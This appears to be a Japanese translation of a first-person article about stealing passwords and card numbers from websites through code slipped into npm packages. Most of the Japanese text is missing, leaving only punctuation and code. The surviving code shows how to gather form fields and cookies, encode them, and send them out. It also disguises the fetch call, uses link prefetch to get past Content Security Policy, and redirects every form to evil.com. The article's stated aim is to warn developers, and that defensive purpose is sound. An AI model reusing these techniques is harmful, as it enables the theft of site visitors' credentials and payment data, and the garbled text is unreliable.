続き: サイトへの訪問者からクレジットカード番号とパスワードを盗まれないようにする方法の話
数年にわたってさまざまなサイトからユーザー名、パスワード、クレジットカード番号を盗んできた人物による記事の翻訳を提供します。
私が話したいのは本当にでした。 または、私のストーリーは実際のイベントのみに基づいているかもしれません。 そしておそらくこれはすべてフィクションです。
それはそのような週に一度起こりました-周りの誰もがセキュリティについて心配している狂った時。 感じは、新しい脆弱性が毎日現れたということでした。 身近な人から質問されたときに何が起こるかを理解するふりをするのは簡単なことではなかった 彼らは、ハッキングされること、データが誰にもわからないまま流出することを懸念していた。 これらすべてが私を新しい方法で多く見させました。
その結果、しぶしぶ、私はすべてをまっすぐにして、過去数年間にさまざまなサイトからユーザー名、パスワード、クレジットカード番号を盗まれたことを全世界に伝えることにしました。 あなたはそれらのいずれかの管理者または開発者である可能性があります。
仕組み
サイトからデータを盗むことができるコード自体は非常に簡単です。 次の基準を満たすページで実行すると、最高の気分になります。
- <form>.
- , input[type="password"],name="cardnumber",name="cvc", .
- «credit card», «checkout», «login», «password», .
 
, 
blur , 
submit , :
- , (document.forms.forEach(…)).
- document.cookie.
- , (const payload = btoa(JSON.stringify(sensitiveUserData))).
- , , : https://legit-analytics.com?q=${payload}( , , ).
 
, - , .
, , 2015-, , , . . , .
Google:
- - , , , .
? XSS , . Chrome .
, , , , , npm-.
NPM
, npm. — , - , - , .
, — , . , , . :
, , 
.
, , , , . - , .
( , ) - . «, X ».
— ! , , , , . — .
, 23 . — , , . , — , .
— . 6.
120000 , , , - Alexa Top 1000, , .
, , XSS-, . , -.
,
- , , - . .
▍ !
? (, 
).
« »: , .
, , IP-, 
dev, 
test, 
qa, 
uat staging ( 
\b).
▍ HTTP-!
? 7- 7- . , 95% .
. , , , ( ) . .
- , , . — , , .
, URL , , , .
, , , , . , , , . , .
. , , , , - , , . .
▍ GitHub!
. , : GitHub, — npm.
package.json files , 
lib, . 
npm publish npm. 
lib .gitignore, GitHub . , GitHub.
— npm, npm GitHub, , , 
/lib/package.min.js — 
/src/package.js?
, GitHub .
▍ node_modules!
, . , , , , .
, , , . 
fetch XMLHttpRequest, , . :
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);
«gfudi» — «fetch», . . 
self — 
window.
fetch(...):
self['\u0066\u0065\u0074\u0063\u0068'](...)
, , , .
, , , , - 
fetch. , , 
new EventSource(urlWithYourPreciousData). , , 
serviceWorker fetch, . , 
serviceWorker, 
EventSource.
▍ !
, . - , (Content Security Policy, CSP) - ? , , CSP:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
, CSP () « 100%». , , , 130 . , , .
, . Chrome, CSP .
, 
CSP (, ) , . , , , CSP , ( «» — GET).
, , prefetch, . , .
, , CSP, ( 
report-uri). , , , , , .
( ), CSP - .
, .
fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  //    ?    ?
});
CSP. , Google CSP, , . 
connect-src , , « » 
default-src, , , , .
— , Google.
Amazon, , , CSP. eBay.
Twitter PayPal CSP, . , , , , . , , , 
default-src. — , . 
form-action.
, ( ), , , 
form-action, ( , ) .
Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
. , , PayPal. , .
, , , .
, , Twitter . , .
, , . , .
?
, .
▍ №1: ,
, :
.▍ №2:
, , ( -), npm. Google Tag Manager, , , — .
, , iFrame.
, , React, 138 npm-. , , , iFrame, , - , JavaScript-, (, , ).
2017- , , . , , . ?
— — , 12- , .
, - , , , . , i, , npm-, . — , . — , , .
, , , 400000 npm-. , , , , .
. npm-, 
. , , . , ?
? , , , — , ? . (, , , , — ).
( ) , , , , . , . , , .
! , - , ?
